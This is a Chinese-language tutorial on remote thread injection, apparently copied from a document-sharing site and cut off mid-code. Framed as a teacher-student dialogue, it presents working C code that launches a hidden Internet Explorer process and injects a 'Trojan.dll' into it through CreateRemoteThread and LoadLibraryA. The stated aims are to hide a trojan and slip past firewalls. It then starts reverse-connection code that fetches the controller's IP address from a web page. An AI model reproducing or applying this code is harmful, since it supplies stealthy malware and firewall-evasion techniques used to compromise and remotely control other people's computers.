线程插入技术详解.docx
- 文档编号:27547
- 上传时间:2022-10-01
- 格式:DOCX
- 页数:15
- 大小:30.69KB
线程插入技术详解.docx
《线程插入技术详解.docx》由会员分享,可在线阅读,更多相关《线程插入技术详解.docx(15页珍藏版)》请在冰豆网上搜索。
线程插入技术详解
线程插入技术详解
谷夕
前置知识:
DLL、远程线程
难度:
高
编译环境:
VC6.0+win2000
测试环境:
win2000+天网防火墙
“大家好,今天我们来讨论现在木马或后门比较流行的技术-线程插入技术。
”
“什么是线程插入技术啊?
”一小菜问。
“线程插入技术也叫远程线程技术,指的是将自己的代码插入正在运行的进程中的技术。
其实,这种技术也不算是很难,只要有基本的进程、线程和动态链接库的知识就可以很轻松地完成线程插入,下面就为大家介绍一下远程线程技术。
远程线程技术是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间,事先把要执行的代码和有关数据写进目标进程,然后创建一个远程线程来让远端进程执行哪些代码。
我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。
但是,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程哦)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。
例如在远程进程内部启动一个DLL木马。
”
“我们为什么要那么麻烦啊?
就这样启动一个木马不就行了?
”一小菜疑惑问。
“呵呵,我们启动远程线程的目的是可以隐藏木马进程啊!
我们把木马插入到一个正常的进程中,那么在用户看来不就是没有木马进程了吗?
更重要的一点是可以突破防火墙!
”
“突破防火墙?
怎样突破?
”小菜又疑惑了。
“大家都安装过防火墙吧?
”
“肯定啦!
”
“那么,当有程序访问Internet时,防火墙是不是都弹出一个询问的窗口来询问是否允许XXX程序访问网络?
”
“对啊!
”
“那就是啦!
如果防火墙提示一个你不认识的程序要访问Internet,那你会有什么反应?
”
“那就很有可能是木马或后门啦!
”
“对啊。
但如果是IE访问Internet呢?
你会不会允许IE访问Internet?
”
“那还用问吗?
”
“就是啊,如果我们把木马的代码插入到IE进程中去,那么当防火墙提示IE访问Internet时,也就是我们木马解放的时候啊!
用户只要第一次允许IE访问网络,以后当IE在此访问网络的时候,防火墙就不给予提示啦。
那样我们的木马或后门不是就是可以突破防火墙了吗?
”
“哈哈!
暗道陈仓,绝!
”
“好,我们现在就来动手写程序啦。
我们先看看远程线程的主角CreateRemoteThread(),首先介绍一下我们的主要工具CreateRemoteThread,这里先将函数原型简单介绍以下。
CreateRemoteThread可将线程创建在远程进程中。
函数原型:
HANDLECreateRemoteThread(
HANDLEhProcess,//handletoprocess
LPSECURITY_ATTRIBUTESlpThreadAttributes,//SD
SIZE_TdwStackSize,//initialstacksize
LPTHREAD_START_ROUTINElpStartAddress,//threadfunction
LPVOIDlpParameter,//threadargument
DWORDdwCreationFlags,//creationoption
LPDWORDlpThreadId//threadidentifier
);
参数说明:
hProcess
[输入]进程句柄
lpThreadAttributes
[输入]线程安全描述字,指向SECURITY_ATTRIBUTES结构的指针
dwStackSize
[输入]线程栈大小,以字节表示
lpStartAddress
[输入]一个LPTHREAD_START_ROUTINE类型的指针,指向在远程进程中执行的函数地址
lpParameter
[输入]传入参数
dwCreationFlags
[输入]创建线程的其它标志
lpThreadId
[输出]线程身份标志,如果为NULL,则不返回
返回值
成功返回新线程句柄,失败返回NULL,并且可调用GetLastError获得错误值。
大家很快可以领略到CreateRemoteThread的神通,它使你的代码可以脱离你的进程,植入到别的进程中运行。
大家说,把代码插入到那个进程中突破防火墙最好啊?
”
“那当然是QQ或者IE啦!
因为没有人会傻到不允许这两个程序访问网络啊!
”
“嗯,是的!
这两个程序都很好。
但接下来我们会选择IE。
因为通常我们会打开多个IE而不是多个QQ,那样我们启动一个没有窗口的IE再把代码插进去隐藏性就比较好了。
”
“怎样打开一个没有窗口的IE啊?
”
“要打开一个新的进程,我们利用的是CreateProcess()函数。
以下代码实现打开一个IE进程,但窗口被隐藏起来。
STARTUPINFOsi;//进程启动时需要初始化的结构
PROCESS_INFORMATIONpi;//进程启动后的有关信息
si.cb=sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.wShowWindow=SW_HIDE;//这里设置窗口为隐藏,SW_SHOW为显示窗口
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
CreateProcess("C:
\\ProgramFiles\\InternetExplorer\\IEXPLORE.EXE",
NULL,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi);
“当然,不是所有的系统都安装在C盘的,要确保我们能够打开一个隐藏窗口的IE进程,我们可以利用下面的代码:
charsyspath[256];
GetSystemDirectory(syspath,256);
strcat(syspath,"\\..\\..\\ProgramFiles\\InternetExplorer\\IEXPLORE.EXE");
CreateProcess(syspath,NULL,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi);
“首先,我们利用GetSystemDirectory()函数取得系统目录,例如系统安装在D盘,则为D:
\WINNT\system32,“..”标示上一层目录,那么“D:
\WINNT\system32\..\..\ProgramFiles\\InternetExplorer\\IEXPLORE.EXE”实际上就是“D:
\ProgramFiles\InternetExplorer\IEXPLORE.EXE”了,那么我们就可以保证IE路径的正确性。
“IE进程启动后,我们需要得到它的进程的PID以便把数据写进IE进程。
在系统创建进程时,进程的pid保存在PROCESS_INFORMATION结构中。
我们可以利用pi.dwProcessId得到IE进程的PID。
接下来就要把有关代码写进目标进程了:
GetCurrentDirectory(MAX_PATH,pszlibfilename);//得到当前的目录路径
if(pszlibfilename[strlen(pszlibfilename)-1]!
='\\')//判断是否为根目录
strcat(pszlibfilename,"\\Trojan.dll");
else
strcat(pszlibfilename,"Trojan.dll");//连接要插入的动态连接库的文件名(这里是Trojan.dll)
SetPrivilege();//提升权限
//获得目标进程句柄
HANDLEhProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
cb=(1+lstrlenA(pszlibfilename))*sizeof(char);
//在目标进程中配变量地址空间,并且设定为可以读写PAGE_READWRITE
char*pszLibFileRemote=(char*)VirtualAllocEx(hProcess,NULL,cb,MEM_COMMIT,PAGE_READWRITE);
//写内容到目标进程中分配的变量空间
WriteProcessMemory(hProcess,pszLibFileRemote,(PVOID)pszlibfilename,cb,NULL);
PTHREAD_START_ROUTINEpfnStartAddr;
//kernel.dll中取得LoadLibraryA地址
pfnStartAddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"),"LoadLibraryA");
//创建远程线程
HANDLEhThread=CreateRemoteThread(hProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL);
WaitForSingleObject(hThread,INFINITE);//等待函数
CloseHandle(hThread);
VirtualFreeEx(hProcess,pszLibFileRemote,0,MEM_RELEASE);
//释放刚才分配的远程进程的内存
CloseHandle(hProcess);
“上面是把我们的dll插入到远程进程的exe程序的代码。
我们这个exe程序只是负责把dll插入到目标进程,而要实现木马或后门功能的则是我们接下来要介绍的dll文件。
这里只给大家简单的演示如何穿透防火墙,所以要实现的功能还是比较简单的。
首先又来给大家介绍下原理吧。
我们可以把dll后门插入到某个进程中,而这个进程是防火墙允许让外部用户连接的。
但由于大多数防火墙是禁止了由外部发起的连接,所以我们就要利用反弹端口,也就是内部向外部连接,这就是为什么我们要把dll后门插入到IE的原因。
我们利用远程线程把代码插入到防火墙允许访问网络的应用程序中,然后由这个程序来访问网络而完成远程控制。
”
“你的意思是说利用反弹端口吗?
我们如何获得客户端的IP地址呢?
”一小菜问。
“我们可以读取一个免费空间的一个指定页面,里面包含客户端的IP地址。
因为是IE来进行访问,当然防火墙不会做出提示。
我们可以利用下面的代码来获取指定网页:
char*request=”GET/ip.htm”;//广外男生默认的生成页面
charbuffer[2000];
destSockAddr.sin_family=AF_INET;
destSockAddr.sin_port=htons(80);
deskSocketAddr.Sin_Addr.S_Addr=inet_addr(DEST_IP_ADDR);
//DEST_IP_ADDR为你的免费空间IP
destSocket=socket(AF_INET,SOCK_STREAM,0);
connect(destSocket,(LPSOCKADDR)&destSockAddr,sizeof(destSockAddr));
send(destSocket,request,strlen(request)+1,0);
recv(d
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 线程 插入 技术 详解
![提示](https://static.bdocx.com/images/bang_tan.gif)